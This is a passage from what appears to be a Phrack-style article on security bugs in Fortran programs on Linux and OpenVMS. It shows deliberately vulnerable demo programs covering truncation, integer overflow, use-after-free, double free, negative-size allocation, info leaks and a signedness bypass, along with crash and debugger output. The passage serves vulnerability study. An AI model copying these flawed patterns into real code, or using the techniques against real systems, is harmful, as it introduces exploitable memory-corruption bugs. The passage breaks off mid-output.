As expected we wrote 4 bytes in a 1‑byte buffer overwriting both 'B' and the 2 lowest bytes of a pointer with arbitrary values.

‑‑‑[ 3.2 ‑ The number‑related issues

In C language, there exists three types of integer related bugs [R6]: 1. Signedness bugs

2. Truncation bugs

3. Integer underflow/overflow bugs

What about in Fortran?

*) This first class of bugs is quite unlikely as the primary component is missing. Indeed the 'unsigned' concept does not exist in Fortran which means that there is (as far as I can see) almost no way to mistakenly interpret a negative number (integer/real) as a larger than expected positive one.

However what would appen if we were to call a function in another language defining unsigned numbers like C? Then an integer overflow _could_ happen if the argument was casted. This particular situation is illustrated in Chap 4.

*) A truncation bug (may) occur when an integer variable is copied into a smaller one. For example, in C copying an int (4 bytes) into a short (2 bytes) which is possible in Fortran.

Practically speaking such a bug usually occurs when an INTEGER is passed as an argument to a function/procedure which declares its type 'smaller' than it actually is.

‑‑‑‑‑BEGIN TRUNCATE 1‑‑‑‑‑

$ cat truncate3.f90

LOGICAL FUNCTION IsGood(L)

INTEGER(1) :: L

IsGood = .TRUE.

write(*,*) 'IsGood: size is ', L

IF (L > 10) THEN

write(*,*) 'Way too long man', L

IsGood = .FALSE.

RETURN

END IF

END FUNCTION

PROGRAM truncate3

IMPLICIT NONE

INTEGER(4):: l

CHARACTER(2000):: str

LOGICAL :: IsGood

write(*,*) 'Give me the damn string ...'

read(*,*) str

l = len_trim(str)

write(*,*) 'MAIN_: size is ', l

IF (IsGood(l) .EQV. .TRUE.) THEN

write(*,*) 'Copying bytes ... :)'

END IF

END PROGRAM

$ gfortran truncate3.f90

$ ./a.out

Give me the damn string ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

MAIN_: size is 38

IsGood: size is 38

Way too long man 38

$ ./a.out

Give me the damn string ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA MAIN_: size is 520

IsGood: size is 8

Copying bytes ... :)

$

‑‑‑‑‑END TRUNCATE 1‑‑‑‑‑

In IsGood(), L is declared as an INTEGER(1). To respect the type, the parameter has to be reduced modulo 256 hence the result (520 & 0xFF = 8).

This is _not_ the only situation involving this type of bug. For example, consider the following situation:

‑‑‑‑‑BEGIN TRUNCATE 2‑‑‑‑‑

$ cat truncate2.f90

PROGRAM truncate2

IMPLICIT NONE

INTEGER(1):: l

CHARACTER(255):: str

CHARACTER(10):: foo

write(*,*) 'Give me the damn string ...'

read(*,*) str

write(*,*) 'Real string size is ', len_trim(str)

l = len_trim(str) ! *BUG* *BUG* *BUG*

IF (l > 10) THEN

write(*,*) 'Way too long man', l

STOP

END IF

write(*,*) 'Copying bytes'

! Insecure copy(foo, str)

[...]

END PROGRAM

$ gfortran truncate2.f90

$ ./a.out

Give me the damn string ...

AAAAAAAAAAAAAAAAAA

Real string size is 18

Way too long man 18

$ ./a.out

Give me the damn string ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Real string size is 180

Copying bytes

‑‑‑‑‑END TRUNCATE 2‑‑‑‑‑

In this situation, the programmer made a mistake involving the prototype the len_trim() function (provided by the Fortran API). [R2] specifies that the result returned by the function should be a 'default integer' (which means INTEGER(4)) hence the previous bug.

*) Whenever a language limits the amount of memory allocated for numbers (generally because of hardware constraints), a number under/overflow is always possible and is _normal_. However not handling this situation _is_ a bug.

Fortran makes no exception as storage is clearly defined:

‑‑‑‑‑BEGIN INT OVERFLOW 1‑‑‑‑‑

$ cat arithmetic.f90

[...]

INTEGER(1):: N1, N2

write(*,*) 'Give me a number (‑128, +127) :'

read(*,*) N1

N2 = N1 * 16

write(*,*) 'N * 16 = ', N1*16, ' or ', N2

[...]

$ gfortran arithmetic.f90

$ ./a.out

Give me a number (‑128, +127) :

5

N * 16 = 80 or 80

$ ./a.out

Give me a number (‑128, +127) :

12

N * 16 = 192 or ‑64 <‑‑ Oops :)

$ ./a.out

Give me a number (‑128, +127) :

18

N * 16 = 288 or 32 <‑‑ Oops (bis) :) ‑‑‑‑‑END INT OVERFLOW 1‑‑‑‑‑

Is that all? Not quite son. When auditing the use of numbers in C code, you're usually focused on integers (char, int, long, long long) and that would essentially be for two reasons:

*) Floats and double are rarely present in C code or to be fair, usually not in common 'audited' software. Of course there are a few notable exceptions, just use your imagination to find out which ones :)

*) Floats are usually _not_ related to copy or allocation operations. In C, integers might be used as index, offsets, quantities or even sizes and as such their abuse 'could' induce a memory corruption. There is almost no such danger with floats.

Now consider that things are a little bit different with Fortran. As I told you previously Fortran is a math oriented programming language. As such REAL, and COMPLEX types are really common not to mention the fact that the language itself provides some nice intrinsic functions to play with. This itself is sufficient to increase the probability of float‑related bug in real life.

Here is a short example of what could happen:

‑‑‑‑‑BEGIN REAL OVERFLOW 1‑‑‑‑‑

$ cat float1.f

PROGRAM float1

REAL :: a, b, x

a = 9.7E‑30

b = ‑3.9E‑30

x = a * b

write(*,*) 'x = a*b = ',x

END PROGRAM

$ gfortran ./float1.f

$ ./a.out

x = a*b = ‑0.0000000

‑‑‑‑‑END REAL OVERFLOW 1‑‑‑‑‑

Interesting isn't it? The behavior of REAL is what is described in the IEEE‑754. As a result, a REAL (float) underflow occurs when a and b are multiplied. This ultimately results in x taking the value 0 because of the underflow. The program is not able to detect it on runtime whereas an exception could/should have been generated. I won't say more about that, now use your brain/imagination/drug to go further ;‑)

‑‑‑[ 3.3 ‑ The POINTER abuse

While the concept of pointer is somewhat universal, implementations and intrinsic limits of this object may completely vary from a language to another. For example, while in C you have direct access to the memory, in Fortran you don't (at least directly). But you still have a powerful pointer arithmetic and frankly speaking, that's all needs the programmer to introduce bugs ;‑). Now let's talk about the POINTER.

Note: The POINTER is F90 & later specific but you might find pointers in a few F77 programs which use 'Cray Pointers' [R10].

Introduction to POINTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In Fortran, a pointer is not a data type but rather a type parameter and must be associated with an object of the same type to read/modify it.

Here is a short self‑explaining example:

‑‑‑‑‑BEGIN POINTER 1‑‑‑‑‑

$ cat pointer1.f90

PROGRAM pointer1

INTEGER, TARGET :: a

INTEGER, POINTER :: p_a

p_a => a ! p_a = &a

p_a = 1 ! *p_a = 1

write(*,*) a

a = 2

write(*,*) p_a ! printf("%d",*p_a)

END PROGRAM

$ gfortran pointer1.f90

$ ./a.out

1

2

‑‑‑‑‑END POINTER 1‑‑‑‑‑

Note that the TARGET parameter is mandatory. Now let's see a more complete example:

‑‑‑‑‑BEGIN POINTER 2‑‑‑‑‑

$ cat pointer2.f90

PROGRAM pointer2

INTEGER, POINTER :: p_a(:)

INTEGER, POINTER, DIMENSION(:) :: p_b

INTEGER, ALLOCATABLE :: c(:)

INTEGER, POINTER :: X(:)

ALLOCATE(p_a(5)); p_a = 5

ALLOCATE(p_b(4)); p_b = 4

ALLOCATE(c(3)); c = 3

X => p_a

X(3) = 0

write(*,*) p_a

write(*,*) p_b

write(*,*) c

DEALLOCATE(p_a)

DEALLOCATE(p_b)

DEALLOCATE(c)

END PROGRAM

$ gfortran pointer2.f90

$ ./a.out

5 5 0 5 5

4 4 4 4

3 3 3

‑‑‑‑‑END POINTER 2‑‑‑‑‑

*) 'p_a' is an integer array pointer.

*) 'p_b' and 'p_a' are the same kind of object despite the syntax being slightly different (but equivalent in the end).

*) 'c' is an array whose size is still unknown. The ALLOCATABLE parameter specifies that memory will be requested before any use. This is a dynamically allocated array.

*) ALLOCATE() is the intrinsic function responsible of the allocation. (and yes its calling syntax is _shit_ but let's deal with it)

*) DEALLOCATE() will free previously requested memory.

The link between ALLOCATE() and the libc allocator is easy to see:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ltrace ‑e malloc,free ./a.out

malloc(20) 0x087009a0

malloc(16) 0x087009b8

malloc(12) 0x087009d0

5 5 0 5 5 4 4 4 4

3 3 3

free(0x087009a0) void>

free(0x087009b8) void>

free(0x087009d0) void>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This alone is sufficient to prove that malloc (respectively free) and ALLOCATE (respectively DEALLOCATE) are 'almost' the same. The difference between both is studied in another subsection.

Heap overflows

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A buffer overflow in an ALLOCATEd area _is_ a heap overflow. Such a bug may occur if:

*) The user is able to manipulate the index used with the array POINTER to perform an out of bound operation:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./bof_array_malloc AAAAAAAAAAAAAAAAAAA

INITIAL ARGUMENT = AAAAAAAAAAAAAAAAAAA [ 20 ]

ONCE CLEANED :AAAAAAAAAAAAAAAAAAAA

$ ./bof_array_malloc AAAAAAAAAAAAAAAAAAAA

INITIAL ARGUMENT = AAAAAAAAAAAAAAAAAAAA [ 141 ]

ONCE CLEANED :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA

*** glibc detected *** ./bof_array_malloc: free(): invalid next size [...] ======= Backtrace: ========= /lib/tls/i686/cmov/libc.so.6(+0x6b591)[0xb7625591] /lib/tls/i686/cmov/libc.so.6(+0x6cde8)[0xb7626de8] /lib/tls/i686/cmov/libc.so.6(cfree+0x6d)[0xb7629ecd]

[...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

*) The user is able to somehow induce a bug in the allocation either exploiting an arithmetic mistake of the behavior of ALLOCATE (discussed further).

Dangling pointers

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By default, pointers are undefined when declared. As a result there should not be any reference nor manipulation of these objects until their association. The unfamiliar programmer might be tempted to use the ASSOCIATED() intrinsic function for safety purpose which (un)fortunately is a mistake:

‑‑‑‑‑BEGIN POINTER 3‑‑‑‑‑

$ cat pointer3.f90

PROGRAM pointer1

INTEGER, TARGET :: a

INTEGER, POINTER :: p_a

write(*,*) associated(p_a)

nullify(p_a)

write(*,*) associated(p_a)

p_a => a

write(*,*) associated(p_a)

END PROGRAM

$ gfortran pointer3.f90

$ ./a.out

T <‑‑ *WRONG* :)

F <‑‑ Right

T <‑‑ Right

‑‑‑‑‑END POINTER 3‑‑‑‑‑

*) p_a is declared and 'undefined' by default.

*) associated() falsely reports that p_a is associated.

*) Since the pointer is associated, the programmer can perform operations and a memory corruption is very likely to appear.

Let's try to understand what's happening:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(gdb) disass MAIN__

Dump of assembler code for function MAIN__:

0x080485d4 <+0>:push ebp

0x080485d5 <+1>:mov ebp,esp

0x080485d7 <+3>:sub esp,0x188

0x080485dd <+9>:mov DWORD PTR [esp+0x4],0x80488a0 0x080485e5 <+17>:mov DWORD PTR [esp],0x8

0x080485ec <+24>:call 0x80484c4 <_gfortran_set_options@plt> 0x080485f1 <+29>:mov DWORD PTR [ebp‑0x168],0x8048880 0x080485fb <+39>:mov DWORD PTR [ebp‑0x164],0x4 0x08048605 <+49>:mov DWORD PTR [ebp‑0x170],0x80 0x0804860f <+59>:mov DWORD PTR [ebp‑0x16c],0x6 0x08048619 <+69>:lea eax,[ebp‑0x170]

0x0804861f <+75>:mov DWORD PTR [esp],eax

0x08048622 <+78>:call 0x80484e4 <_gfortran_st_write@plt> 0x08048627 <+83>:cmp DWORD PTR [ebp‑0xc],0x0 ; p_a == 0 ? 0x0804862b <+87>:setne al ; al = ~(p_a == 0) 0x0804862e <+90>:movzx eax,al ; eax = al

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

OK OK easy. First p_a is read on the stack then its value is compared with 0 (NULL). If p_a is not zero then it's supposed associated (ah ah). However since the local variable is uninitialized, it could take any value and in our case some stack address thereby explaining the bug.

Now more interesting. If operations are performed using p_a on the base of the result returned by associated() then an invalid memory dereference may occur and depending on whether we can control this address or nor it might end up either as a 'Segmentation Fault' or as a perfectly controlled arbitrary memory write. I discovered this really interesting issue reading a cool website [R7] which details a few other interesting issues that won't be discussed in this paper.

Use‑after‑free bugs

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Does the compiler keep track of POINTER object? Will it prevent the programmer from misusing them? Let's write an example once more:

‑‑‑‑‑BEGIN POINTER 4‑‑‑‑‑

$ cat pointer4.f90

PROGRAM pointer4

INTEGER, POINTER :: p1(:)

INTEGER, POINTER :: p2(:)

ALLOCATE(p1(10))

p2 => p1

p2 = 2

DEALLOCATE(p1)

p2 = 3 ! REALLY bad :(

END PROGRAM

$ gfortran pointer4.f90 ‑O3

$ gdb ./a.out

[...]

(gdb) disassemble MAIN__

[...]

0x080485cb <+27>:mov DWORD PTR [esp],0x28 0x080485d2 <+34>:call 0x80484cc <malloc@plt> 0x080485d7 <+39>:test eax,eax

0x080485d9 <+41>:mov ebx,eax ; p2 => p1 0x080485db <+43>:je 0x8048679 <MAIN__+201> 0x080485e1 <+49>:mov DWORD PTR [eax],0x2

[...]

0x08048626 <+118>:mov DWORD PTR [esp],eax 0x08048629 <+121>:call 0x804849c <free@plt> 0x0804862e <+126>:mov DWORD PTR [ebx],0x3 ; BUG!!! [...]

‑‑‑‑‑END POINTER 4‑‑‑‑‑

So not only does the compiler nothing but still the bug is really there. Oh man Fortran is just like C after all :) With that in mind, it's rather obvious that doublefree() are possible and indeed they are:

‑‑‑‑‑BEGIN DFREE 1‑‑‑‑‑

$ cat double_free.f90

SUBROUTINE check(x,L)

CHARACTER, TARGET :: x(L)

CHARACTER, POINTER :: p(:)

INTEGER I

p => x

DO I=1,L

IF (ichar(p(I)) .lt. ichar('A')) THEN

goto 100

END IF

IF (ichar(p(I)) .gt. ichar('Z')) THEN

goto 100

END IF

END DO

RETURN

100write(*,*) '[‑] Warning argument is fucked !!!' DEALLOCATE(p) ! If the argument has an invalid character

! then it's free()ed.

END SUBROUTINE

PROGRAM double_free

[...]

call check(q,realsize)

write(*,*) '[+] First argument is ', q

deallocate(q) ! Second free()

[...]

$ ./double_free ACAAAAAAZ

[+] First argument is ACAAAAAAZ

$ ./double_free ACAAAAAAZ‑

[‑] Warning argument is fucked !!!

[+] First argument is AAAAZ‑

*** glibc detected *** ./double_free: double free or [...] [...]

‑‑‑‑‑END DFREE 1‑‑‑‑‑

The shit behind ALLOCATE()

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We all know that in C allocation of a user supplied size can be dangerous if not well handled as it can have side effects. Common problems include too large request which would ultimately result in a NULL being returned or integer overflows in the calculus of the size.

Since ALLOCATE() is no more than a wrapper of malloc() all of these problems can occur. However there is an even more vicious one. Let's play a little bit:

‑‑‑‑‑BEGIN ALLOCATE‑‑‑‑‑

$ cat allocate.f90

PROGRAM allocate1

IMPLICIT NONE

INTEGER(1):: M1

CHARACTER, DIMENSION(:), ALLOCATABLE :: C

write(*,*) 'How much objects should I allocate ?' read(*,*) M1

ALLOCATE(C(M1))

END PROGRAM

$ gfortran allocate.f90

$ ltrace ‑e malloc ./a.out

How much objects should I allocate ?

16

malloc(16) <‑‑ Ok = 0x09eed9a0

+++ exited (status 0) +++

$ ltrace ‑e malloc ./a.out

How much objects should I allocate ?

0

malloc(1) <‑‑ WTF ??? = 0x082a69a0

+++ exited (status 0) +++

$ ltrace ‑e malloc ./a.out

How much objects should I allocate ?

‑20

malloc(1) <‑‑ WTF (again) ??? = 0x089e99a0 +++ exited (status 0) +++

‑‑‑‑‑END ALLOCATE‑‑‑‑‑

Wait, something is weird. Why is there a malloc(1)??? A short look at GDB and we have the following dead listing:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0x080487fa <+170>:lea eax,[ebp‑0x9] ; eax = &M1 0x080487fd <+173>:mov DWORD PTR [esp+0x4],eax 0x08048801 <+177>:mov DWORD PTR [esp+0x8],0x1 0x08048809 <+185>:mov DWORD PTR [esp],ebx

0x0804880c <+188>:call 0x804862c <_gfortran_transfer_integer@plt>

; read(stdin, &M1, 1)

[...]

0x08048819 <+201>:movzx edx,BYTE PTR [ebp‑0x9] ; edx = M1 0x0804881d <+205>:mov eax,0x1 ; eax = 1 0x08048822 <+210>:test dl,dl

0x08048824 <+212>:jle 0x8048836 <MAIN__+230> ; if(dl <= 0)

malloc(eax)

0x08048826 <+214>:mov eax,edx

[...]

0x08048836 <+230>:mov DWORD PTR [esp],eax

0x08048839 <+233>:call 0x804865c <malloc@plt>

[...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So when a null or a negative size is supplied, malloc allocates 1 byte. Why such a strange behavior? I must confess that I couldn't find any satisfying answer but the most important thing is: if the user can supply a negative length then a really tiny allocation is done which is really prone to heap corruptions. So nice :)

‑‑‑[ 3.4 ‑ Other interesting bugs

Talking about insecure programming in Fortran would not be complete without what's following. Despite not being as important, it might become handy in a few situations.

Uninitialised data

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The first thing to notice is that it's perfectly legal to use variables without properly initializing them:

‑‑‑‑‑BEGIN UNINITIALIZED 1‑‑‑‑‑

$ cat uninitialized.f90

PROGRAM uninitialized

INTEGER :: I, J, XXXX

DO I=0,20

J = J + 1

END DO

write(*,*) J, XXXX

END PROGRAM

$ gfortran uninitialized.f90

$ ./a.out

148818352 ‑1215630400

$ ./a.out

135645616 ‑1215855680

‑‑‑‑‑END UNINITIALIZED 1‑‑‑‑‑

The compiler did not complain whereas J and XXXX were clearly not properly set. Thanks to the ASLR we have the proof that there is no default value which results in an information leak of the stack.

Information leak

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are a lots of possible situations in which an info leak could occur. I've found a couple of them and there are probably even more.

*) The (in)direct access to uninitialized data. This situation is the direct consequence of what was explained previously.

*) As said in Chap 3.1, in a few situations you will be able to control the index used to access arrays or strings. Now depending on the nature of the access (read or write) you will either have an info leak or a memory corruption.

The following example is a perfect illustration:

‑‑‑‑‑BEGIN LEAK 1‑‑‑‑‑

$ cat leak1.f90

PROGRAMLEAK

INTEGER:: C(10)

C = Z'41414141'

DO I=0,size(C)‑1

write(*,*) C(I)

END DO

END PROGRAM

$ gfortran leak1.f90

$ ./a.out

1 <‑‑ C(0) is out of bounds

1094795585

1094795585

1094795585

1094795585

1094795585

1094795585

1094795585

1094795585

1094795585

$

‑‑‑‑‑END LEAK 1‑‑‑‑‑

*) Something which is sometimes not well understood is the string initialization. This could turn to our advantage :)

‑‑‑‑‑BEGIN LEAK 2‑‑‑‑‑

$ cat leak2.f90

PROGRAMleak2

CHARACTER(len=20) :: S

S(1:4) ='AAAA'

write(*,*) S

END PROGRAM

$ gfortran leak2.f90

$ ./a.out

AAAA.... <‑‑ info leak

‑‑‑‑‑END LEAK 2‑‑‑‑‑

The mistake in the previous code was to use an index for initialization purpose. Indeed the proper way would be to do: S = 'AAAA' which would set the 4 first characters to 'A' and the 16 remaining to ' ' (the space character as there is no use of '\0' in Fortran).

Note that Phrack publications are intrinsically not compatible with info leaks due to 7bits ASCII constraints. OK OK lame joke, forgive me ;‑)

‑‑

‑‑‑[ 4 ‑ Back to the good ol' OpenVMS friend

For the vast majority of post 80s hackers, OpenVMS is without a doubt a strange beast. It's not UNIX and the DCL syntax seems insane (in fact it is as it could take you a while to figure out how to change the current path). But contrary to other old and insanely fucked OS like AIX (hey now you have a non exec stack! So _impressive_ ... ), it's an interesting challenge to hack it.

People may argue that it's also so specific that you might never cross one in your lifetime so why choosing it? Hum. Let's say that:

*) it's not _that_ rare. Though you may probably not see lots of them on the Internet, there are still a plenty of them in production [R8].

*) it's one of the few platforms really using Fortran nowadays. UNIX itself though useful for teaching purpose is not representative.

*) both the OS, the architecture (alpha, itanium), and the compiler (HP) are different. A differential will help us to find out the bug classes that may be platform dependant.

A recent and interesting blackhat presentation gave the first clues about how to exploit basic overflows on this OS [R9]. This will not be repeated though the special case of heap overflow is detailed in Chap 4.2.

Notes:

*) I tried as much as possible not to refer to the Alpha asm as it's really ugly (and deadlisting are too much verbose unfortunately). The readers willing to become familiar with this architecture should read the excellent [R12].

*) If you want to experiment OpenVMS, I recommend you to play with the excellent "Personal Alpha" which is able to run OpenVMS iso. Another interesting solution is to play with free shells such as the ones provided by the Deathrow OpenVMS cluster (thx guyz btw) [R20].

‑‑‑[ 4.1 ‑ Common Fortran bugs .vs. OpenVMS

Let's get straight to the point: almost every type of bugs presented also exists with the VMS compiler. However, due to the implementation of the language, a few differences exist.

Note: The tests were performed on OpenVMS 8.3 (Alpha architecture).

The stack overflow case

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's play with the (slightly modified) 'CAST 2' example:

‑‑‑‑‑BEGIN VMS STACK OV 1‑‑‑‑‑

$ type cast2.f90

SUBROUTINE dump(S)

CHARACTER(len=20) :: S

S = 'AAAA'

write(*,fmt='(A,A)') ' S=',S

END SUBROUTINE

PROGRAM cast2

CHARACTER(len=10) :: X

X = 'ZZZZZZZZZZZ'

write(*,fmt='(A,Z10)') '\&X=', %LOC(X)

CALL dump(X)

END PROGRAM

$ fort cast2

$ lin cast2

$ r cast2

&X= 40000 <‑‑ the local buffer is _not_ on the stack S=AAAA

‑‑‑‑‑END VMS STACK OV 1‑‑‑‑‑

So there is no crash and the local buffer is not a stack buffer. Let's dig a little bit more with the debugger:

‑‑‑‑‑BEGIN VMS STACK OV 2‑‑‑‑‑

$ r /debug cast2

[...]

DBG> go

&X= 40000

S=AAAA

%DEBUG‑I‑EXITSTATUS, is '%SYSTEM‑S‑NORMAL, normal successful completion' DBG> dump /hex %hex 40000:%hex 40080

20202020 20202020 20202020 41414141 AAAA 0000000000040000 00000000 00000000 00000000 20202020 ............ 0000000000040010 00000000 00000000 00000000 00000000 ................ 0000000000040020 [..]

‑‑‑‑‑END VMS STACK OV 2‑‑‑‑‑

OK so there is an overflow since 20 bytes are written but it's _not_ a 'stack' overflow. Troublesome isn't it? Can we exploit it since we cannot corrupt the saved registers? Hum. I would say that the exploitation of such a bug is without a doubt heavily dependant of the context. If metadata can be overwritten then there may be a way to exploit the program, if not it seems quite unlikely... :<

The implicit typing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's quote the "HP Fortran for OpenVMS Language Reference Manual":

‑‑‑

Chap 3.5.1.2 Implicit Typing Rules

"By default, all scalar variables with names beginning with I, J, K, L, M, or N are assumed to be default integer variables. Scalar variables with names beginning with any other letter are assumed to be default real variables. [...]"

‑‑

As a result, if the documentation is correct, there should be an overflow. Let's verify it:

‑‑‑‑‑BEGIN IMPLICIT TYPE 3‑‑‑‑‑

$ type implicit_typing3.f90

SUBROUTINE set(I)

write(*,*) 'How much do u want to read dude ?'

read(*,*) I

END SUBROUTINE

PROGRAM IMPLICIT_TYPING

IMPLICIT NONE

INTEGER(1):: A, B

A = 0

B = 0

write(*,fmt='(A,Z10),(A,Z20)') ' A=',A , '\&A=', %LOC(A) write(*,fmt='(A,Z10),(A,Z20)') ' B=',B , '\&B=', %LOC(B)

CALL set(B)

B = B + 140

write(*,*) 'A=',A,'B=',B

END PROGRAM

$ fort implicit_typing

$ lin implicit_typing

$ r /debug implicit_typing

[...]

DBG> go

A= 0

&A= 40008 L1]

B= 0

&B= 40000 L2]

How much do u want to read dude ?

2147483647

A= 0 B= ‑117 L3]

%DEBUG‑I‑EXITSTATUS, is '%SYSTEM‑S‑NORMAL, normal successful completion' DBG> dump /hex %hex 40000 : %hex 40010

00000000 00000000 00000000 7FFFFF8B ................ 0000000000040000 [L4] 00000000 .... 0000000000040010 ‑‑‑‑‑END IMPLICIT TYPE 3‑‑‑‑‑

*) Since &A ‑ &B = 8, an overflow of at least 9 bytes would be required to corrupt A from B ([L1],[L2]).

*) The memory dump proves that the implicit behavior is exactly what is described in the reference manual [L4].

*) Unless the compiler was smart enough to allocate space on the stack to prepare the manipulation in set(), there is clearly an overflow as B is definitely a 1 byte buffer in the MAIN_() [L3].

The signedness issue

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As stated earlier, Fortran's integers are signed which means that it's not possible to have signedness bugs unless there is a cast induced by an external function call.

Let's see a short example using the LIB$MOVC3() function wich is similar to the memcpy() from libc:

‑‑‑‑‑BEGIN SIGNED 1‑‑‑‑‑

SUBROUTINE copy(S,L)

INTEGER(2) L

CHARACTERD(80) ! Destination buffer

CHARACTER*(*) S

write(*,fmt='(A,Z10),(A,Z20)') ' Len=',L , '\&Len=', %LOC(L) write(*,fmt='(A,Z10),(A,Z20)') '\&D=', %LOC(D), '\&S=',%LOC(S)

! This C function will perform the copy

CALL LIB$MOVC3(L,%REF(S),%REF(D)) [L2] write(*,*) 'D is ', D

END SUBROUTINE

PROGRAM CMOOV

CHARACTER(16) Guard0

CHARACTER(80)S

CHARACTER(16) Guard1

INTEGER(2) length

write(*,fmt='(A,Z10)') '\&Guard0=',%LOC(Guard0) write(*,fmt='(A,Z10)') '\&Guard1=',%LOC(Guard1)

write(*,*) '1. Buffer string?'

read(*,*) S

write(*,*) '2. String len?'

read(*,*) length

! Secure check

IF (length .gt. 80) THEN [L1]

write(*,*) 'S is too long man ...', length

STOP

END IF

DO I=1,len(Guard0)

Guard0(I:I) = 'Y'

Guard1(I:I) = 'Z'

END DO

write(*,*) '3. Copying ... '

CALL copy(S,MIN(len_trim(S),length))

END PROGRAM

‑‑‑‑‑END SIGNED 1‑‑‑‑‑

*) A security check is performed in [L1]. However due to the signedness issue, a user may be able to bypass it by suppling a negative value.

*) The copy function is called with the negative size [L2].

As expected, LIB$MOVC3() implicitly castes the integer as unsigned and if a negative length is supplied, a crash occurs.

‑‑‑‑‑BEGIN SIGNED 2‑‑‑‑‑

$ r /debug MOVC3

[...]

DBG> go

&Guard0= 40068

&Guard1= 40058

1. Buffer string?

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

2. String len?

16 <‑‑ let's first copy 16 bytes

3. Copying ...

Len= 10

&Len= 7AE3DA58 <‑‑ stack address

&D= 40000 <‑‑ global data address

&S= 40078 <‑‑ global data address

D is AAAAAAAAAAAAAAAA <‑‑ copy was successful

%DEBUG‑I‑EXITSTATUS, is '%SYSTEM‑S‑NORMAL, normal successful completion' DBG> dump /hex %hex 40000:%hex 40100

41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040000 00000000 00000000 00000000 00000000 ................ 0000000000040010 00000000 00000000 00000000 00000000 ................ 0000000000040020 00000000 00000000 00000000 00000000 ................ 0000000000040030 00000000 00000000 00000000 00000000 ................ 0000000000040040 5A5A5A5A 5A5A5A5A 00000000 00000010 ........ZZZZZZZZ 0000000000040050 59595959 59595959 5A5A5A5A 5A5A5A5A ZZZZZZZZYYYYYYYY 0000000000040060 41414141 41414141 59595959 59595959 YYYYYYYYAAAAAAAA 0000000000040070 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040080 20202020 20202020 41414141 41414141 AAAAAAAA 0000000000040090 20202020 20202020 20202020 20202020 00000000000400A0 20202020 20202020 20202020 20202020 00000000000400B0 00000000 00000000 20202020 20202020 ........ 00000000000400C0 00000000 00000000 00000000 00000000 ................ 00000000000400D0 00000000 00000000 00000000 00000000 ................ 00000000000400E0 00000000 00000000 00000000 00000000 ................ 00000000000400F0 00000000 .... 0000000000040100 [...]

DBG> go

&Guard0= 40068

&Guard1= 40058

1. Buffer string? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

2. String len?

‑1

3. Copying ...

Len= FFFF <‑‑‑ We are requesting a 65535 bytes copy &Len= 7AE3DA58

&D= 40000

&S= 40078

